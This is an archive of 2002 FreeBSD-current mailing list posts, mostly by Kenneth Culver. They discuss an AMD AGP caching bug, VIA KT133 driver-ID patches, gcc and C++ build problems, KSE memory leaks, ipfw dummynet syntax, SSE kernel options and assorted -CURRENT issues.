Actually FreeBSD does make use of them, but in a way that doesn't cause a problem. Ken On Wed, 30 Jan 2002, David Malone wrote: On Wed, Jan 30, 2002 at 12:13:07PM -0500, Cameron, Frank wrote: Has this issue been addressed in FreeBSD: http://www.geocrawler.com/lists/3/Linux/35/175/7626960/ http://slashdot.org/article.pl?sid=02/01/24/1910227mode=thread This is believed not to have any impact on FreeBSD because FreeBSD doesn't make much use of large pages. See Terry Lambert's post to freebsd-current on 21st Jan for more details. David. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: AMD AGP Bug
There's actually a seperate TLB bug, but FreeBSD doesn't trigger that one, either (Linux can tickle it, when there are certain specific circumstances met). Well, I think I know what you're talking about, linux allocates agpgart memory without setting a non-cacheable bit, and then the agp card writes to that memory, but the cpu cached it already, which makes the cache wrong or something like that, and causes the crashes/hangs. I know this is a greatly simplified version of the real problem, but I think this is a linux bug not necesarily an amd bug. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
RE: AMD AGP Bug
Yeah, that's what I saw on linux-kernel... Ken On Thu, 31 Jan 2002, Cameron, Frank wrote: From what was posted on the linux-kernel list the problem is the OS doing the wrong thing not the hardware. I originally asked the question (albeit not worded as clearly as I should have) because if Microsoft and Linux programmers made the same mistake, might FreeBSD have also. -Original Message- From: Kenneth Culver [mailto:[EMAIL PROTECTED]] Sent: Thursday, January 31, 2002 10:42 AM To: Terry Lambert Cc: David Malone; Cameron, Frank; '[EMAIL PROTECTED]'; '[EMAIL PROTECTED]' Subject: Re: AMD AGP Bug There's actually a seperate TLB bug, but FreeBSD doesn't trigger that one, either (Linux can tickle it, when there are certain specific circumstances met). Well, I think I know what you're talking about, linux allocates agpgart memory without setting a non-cacheable bit, and then the agp card writes to that memory, but the cpu cached it already, which makes the cache wrong or something like that, and causes the crashes/hangs. I know this is a greatly simplified version of the real problem, but I think this is a linux bug not necesarily an amd bug. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
RE: AMD AGP Bug
I'm thinking you may have misunderstood, the people at amd themselves said this wasn't an amd bug... why would you write from cache to memory, I think it's the other way around, stuff getting written to cache from memory... (being retrieved by the cpu) I'll have to read the article again to be sure since it was a week ago when I read it. Ken On Wed, 30 Jan 2002, [ISO-8859-1] Gérard Roudier wrote: On Thu, 31 Jan 2002, Kenneth Culver wrote: Yeah, that's what I saw on linux-kernel... You probably didn't see the whole story or just did a too selective reading. You should re-read, in my opinion, since you may have just missed the important part. What I understood is that the Athlon allocates cache lines for speculative writes (if write may hit cachable) and such cache lines are flushed to memory even if the write does not happen. As a result, numerous useless writes to memory may happen under any OS. This does not cause visible issue for memory that is required to be cache coherent. Just AGP accesses are not required to be snooped by cache for performance concerns and as memory given to AGP is intended to contain data as textures that should not need tight synchronisation with CPU. Indeed Linux has cached mapping to AGP memory and this could be avoided. Nevertheless, only strange issues like the AMD AGP bug we are talking about could turn this into a real problem. Linux can be fixed, but the useless writes of the existing Athlons from the very fast cache to the relatively very slow memory cannot. And all Athlon users may well pay this penalty under any OS... unless we want to disable caching. :) Btw, I have 2 Athlon 1.2GHz machines that work just fine and fast for me. Gérard. Ken On Thu, 31 Jan 2002, Cameron, Frank wrote: From what was posted on the linux-kernel list the problem is the OS doing the wrong thing not the hardware. I originally asked the question (albeit not worded as clearly as I should have) because if Microsoft and Linux programmers made the same mistake, might FreeBSD have also. -Original Message- From: Kenneth Culver [mailto:[EMAIL PROTECTED]] Sent: Thursday, January 31, 2002 10:42 AM To: Terry Lambert Cc: David Malone; Cameron, Frank; '[EMAIL PROTECTED]'; '[EMAIL PROTECTED]' Subject: Re: AMD AGP Bug There's actually a seperate TLB bug, but FreeBSD doesn't trigger that one, either (Linux can tickle it, when there are certain specific circumstances met). Well, I think I know what you're talking about, linux allocates agpgart memory without setting a non-cacheable bit, and then the agp card writes to that memory, but the cpu cached it already, which makes the cache wrong or something like that, and causes the crashes/hangs. I know this is a greatly simplified version of the real problem, but I think this is a linux bug not necesarily an amd bug. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-bugs in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: AMD AGP Bug
I was under the impression that they were writing into the cache not out of it... I really need to read that article again :-D Ken On Thu, 31 Jan 2002, Jason Evans wrote: On Wed, Jan 30, 2002 at 11:14:48PM +0100, Gérard Roudier wrote: Linux can be fixed, but the useless writes of the existing Athlons from the very fast cache to the relatively very slow memory cannot. And all Athlon users may well pay this penalty under any OS... unless we want to disable caching. :) Have you done benchmarks to show that the speculative writes are useless often enough to cause enough memory bus contention that overall performance is degraded, despite the speedups when the speculative writes are valid? I suspect that AMD in fact performed such tests; otherwise they wouldn't have gone to the trouble of implementing speculative writes. Jason To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
oops ... bad patches
here are correct patches for my motherboard's agp (kt133)
--- pci/agp_via.c Wed Jul 19 05:48:04 2000
+++ pci/agp_via.c.new Fri Nov 3 14:50:58 2000
@@ -70,6 +70,8 @@
return ("VIA 82C598 (Apollo MVP3) host to PCI bridge");
case 0x06911106:
return ("VIA 82C691 (Apollo Pro) host to PCI bridge");
+ case 0x03051106:
+ return ("VIA VT8363 (KT133) host to PCI bridge");
};
if (pci_get_vendor(dev) == 0x1106)
--- pci/pcisupport.cWed Nov 1 14:19:36 2000
+++ pci/pcisupport.c.newFri Nov 3 14:51:06 2000
@@ -698,6 +698,8 @@
/* VIA Technologies -- vendor 0x1106 */
case 0x85981106:
return ("VIA 82C598MVP (Apollo MVP3) PCI-PCI (AGP) bridge");
+ case 0x83051106:
+ return ("VIA VT8363 (KT133) PCI-PCI (AGP) bridge");
/* AcerLabs -- vendor 0x10b9 */
/* Funny : The datasheet told me vendor id is "10b8",sub-vendor */
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: GCC upgrade ? on -current
Is this not the latest one? alpha:~: gcc -v Using built-in specs. Configured with: FreeBSD/i386 system compiler Thread model: posix gcc version 3.1 [FreeBSD] 20020509 (prerelease) Ken On Tue, 25 Jun 2002, Sid Carter wrote: Hi, Just a query. Is there anything stopping us from moving to the latest gcc on current ? Just curious. Cause mozilla won't compile with gcc from current and I have installed gcc from the ports just for that. Thanks Regards Sid -- I've known him as a man, as an adolescent and as a child -- sometimes on the same day. Sid Carter FreeBSD oder Debian GNU/Linux. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: KSE status.
Does this wired memory problem only happen on SMP systems, or is it happening across the board? Ken On Wed, 3 Jul 2002, Julian Elischer wrote: Well it's all fun and games her at KSE central.. We have a set of cascading hidden bugs.. bug 1 hides bug 2 hides bug 3 the current state of play: the system works well for a while however there is a leak in the system that gradually runs the system out memory. the wired memory count grows with time. My test system presently has 241MB of Wired memory out of a 512M system. This didn't affect systems before today because the code was hidden by another bug.. that wasn't evident because of another bug.. etc.. still I think I am making progress. Just remember to reboot your system whenever your wired memory gets too high :-) To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: KSE status.
I'm running a uniproc. box at work with -CURRENT and over 4-5hrs, wired grew from 50megs (when I first time checked) to 141megs (now). Dunno if this normal, but it has kept growing. OK, I don't see it happening here on my uniproc box, I havn't tried on my SMP box, I guess my sources aren't new enough. ;-) Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
ipfw rule changes?
Hi, I just updated this morning to the latest -CURRENT, and just to let everyone know, the new KSE stuff seems to be working fine... however, my ipfw rules for dummynet no longer work: ipfw add queue 1 tcp from any to a.b.c.d 25 in via fxp0 ipfw pipe 1 config bw 28Kbit/s queue 2 ipfw queue 1 config pipe 1 mask dst-ip 0x Am I doing something wrong here? This worked fine before I rebuilt world (and I'm assuming rebuilt the ipfw program)... Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: ipfw rule changes?
Hi, I just updated this morning to the latest -CURRENT, and just to let everyone know, the new KSE stuff seems to be working fine... however, my ipfw rules for dummynet no longer work: ipfw add queue 1 tcp from any to a.b.c.d 25 in via fxp0 ipfw pipe 1 config bw 28Kbit/s queue 2 ipfw queue 1 config pipe 1 mask dst-ip 0x Am I doing something wrong here? This worked fine before I rebuilt world (and I'm assuming rebuilt the ipfw program)... Oh yeah, this is the error message: alpha:~:# ipfw queue 1 config pipe 1 mask dst-ip 0x ipfw: unrecognised option ``1'' Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Status of C++ in base system?
This is FAQ. Have you deleted obsolete g++ include files? Do mv /usr/include /usr/include.old; mkdir /usr/inlcude before making buildworld. I think I did that but I guess another try couldn't hurt... Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Status of C++ in base system?
In any case, the more verbose error reports are highly appreciated. Could you please post the error messages you are getting (assuming your next try of installworld with clean /usr/include does not help). Yeah, I can do that, the only reason I didn't do it this time is because my home pc is off and I'm at work, so I can't log in and mess with it. Ken On Thu, 11 Jul 2002 10:51:34 -0400 (EDT) Kenneth Culver [EMAIL PROTECTED] wrote: This is FAQ. Have you deleted obsolete g++ include files? Do mv /usr/include /usr/include.old; mkdir /usr/inlcude before making buildworld. I think I did that but I guess another try couldn't hurt... Ken -- Alexander Kabaev To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Status of C++ in base system?
The cerr not found thing is one of two problems. gcc3 is pickier about namespace issues than gcc2, so you need to say std::cerr or using namespace std;. However, the more common case is people thinking they can link c++ programs with 'cc' rather than 'c++' My C++ programs are large enough that there are issues, but nothing this trivial. Usually it is bad C++ that the newer compiler is pickier about accepting. Hrmm, maybe I'll try that too. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: KDE broken on CURRENT (with gcc3.2)
I can confirm that kde3 doesn't build on -CURRENT with gcc 3.2.1 as well, but it has never worked for me on gcc 3.1 either. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: KDE broken on CURRENT (with gcc3.2)
I'm the maintainer, Will. Since I don't have a -CURRENT system, is one of the hasta's set up to test -CURRENT patches on? I can make a good guess at it from looking at the code, but it'll need to be tested somewhere. Also, is gcc-3.2 on -CURRENT a supported configuration? gcc-3.2 on -CURRENT is the compiler that is default. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: HEADS UP: SSE instructions (Re: cvs commit: src/share/mkbsd.cpu.mk)
Note that you'll need to have 'options CPU_ENABLE_SSE' in your kernel configuration file if you have a SSE-capable CPU, otherwise you'll get SIGILL from certain applications (e.g. ncurses) What if you don't want to do this though? Athlon XP processors support SSE instructions, but not at the same time as 3dnow instructions. The processor has to switch modes or something like that. What if a user wants to actually use the 3dnow instructions? Does this mean that on an athlon XP which supports SSE instructions, if you don't want to enable them you'll catch SIGILL and die when using those certain apps? Just wondering. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: HEADS UP: SSE instructions (Re: cvs commit: src/share/mkbsd.cpu.mk)
I assume the compiler is not stupid enough to try and use both when that is impossible. Don't forget this is all just passing a CPU name to gcc which actually decides what instructions to use. That's not what I mean... What I mean is that if one application is using SSE, and the other wants to use 3dnow, this will incur a performance penalty (although I'm not sure how much or how noticable it is), so some people may not want to have SSE enabled. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Softupdate panic: softdep_update_inodeblock: update failed
I just got thisone ... This is CURRENT from 2 hours ago. Dammnit. Is this mem corruption ? If I were you I'd start swapping memory modules, because I'm not having any trouble with -CURRENT and I havn't seen anyone else having trouble. Did you compile your kernel with any wierd optimizations? Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Softupdate panic: softdep_update_inodeblock: update failed
Oh ok, wierd... I've only tried (unsuccessfully, the compiler errors out) kde3, and some make worlds and stuff. I guess that's not strenuous enough. Ken On Thu, 12 Sep 2002, Martin Blapp wrote: Hi, If I were you I'd start swapping memory modules, because I'm not having Already did that. I even used ECC ram. any trouble with -CURRENT and I havn't seen anyone else having trouble. Did you try to build a huge project ? If I don't compile anything big and load the machine it works perfectly. Did you compile your kernel with any wierd optimizations? No. And this system works perfectly before after I turned on PG_G. The instability began after gcc3.2 import. Martin To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
current.freebsd.org points to japanese site?
Why does current.freebsd.org point to the japanese snapshot site snapshots.jp.freebsd.org? I'm just wondering because I am trying to install -CURRENT on one of my machines. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: current.freebsd.org points to japanese site?
Is there any difference between the snapshots built on the japanese site and the ones that were built on the US one? Thanks Ken On Sun, 22 Sep 2002, Will Andrews wrote: On Sun, Sep 22, 2002 at 03:33:24PM -0400, Kenneth Culver wrote: Why does current.freebsd.org point to the japanese snapshot site snapshots.jp.freebsd.org? I'm just wondering because I am trying to install -CURRENT on one of my machines. Because it's the only reliable current snapshot building site? regards, -- wca To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: panic in latest build
Michael Hostbaek wrote: I just build latest -CURRENT on my laptop. The error is: panic: vrele: negative ref cnt Debugger(panic) Stopped at Debugger+0x54: xchgl %ebx,in_Debugger.0 I did the following: After bootup - logged in as root. touch'ed /var/log/xferlog and hit ctrl-d, to logout. (That is when the panic occured) I got a similar panic just following Jeff's rather complicated vfs kernel patches last night. I decided to wait and try again in a day or so to let the experts hash it out ;-) Just as another data-point, I'm seeing this too. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: ttys patch - any objections?
This seems a lot like personal preferance to me, I for one don't like a lot of tty's, because running getty on a bunch of ttys that I'm not going to use is a waste of ram I usually keep F1-F3 as ttys, and make F4 run kdm. I know I don't really have a say, but I'm sure everyone has his or her own preference. Ken On Thu, 26 Sep 2002, Mark Murray wrote: Hi The attached patch gets done by me any time I set up a FreeBSD box (I like lots of VTYs and X on ALT-F12). Any objections to my committing this? M -- o Mark Murray \_ O.\_Warning: this .sig is umop ap!sdn To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
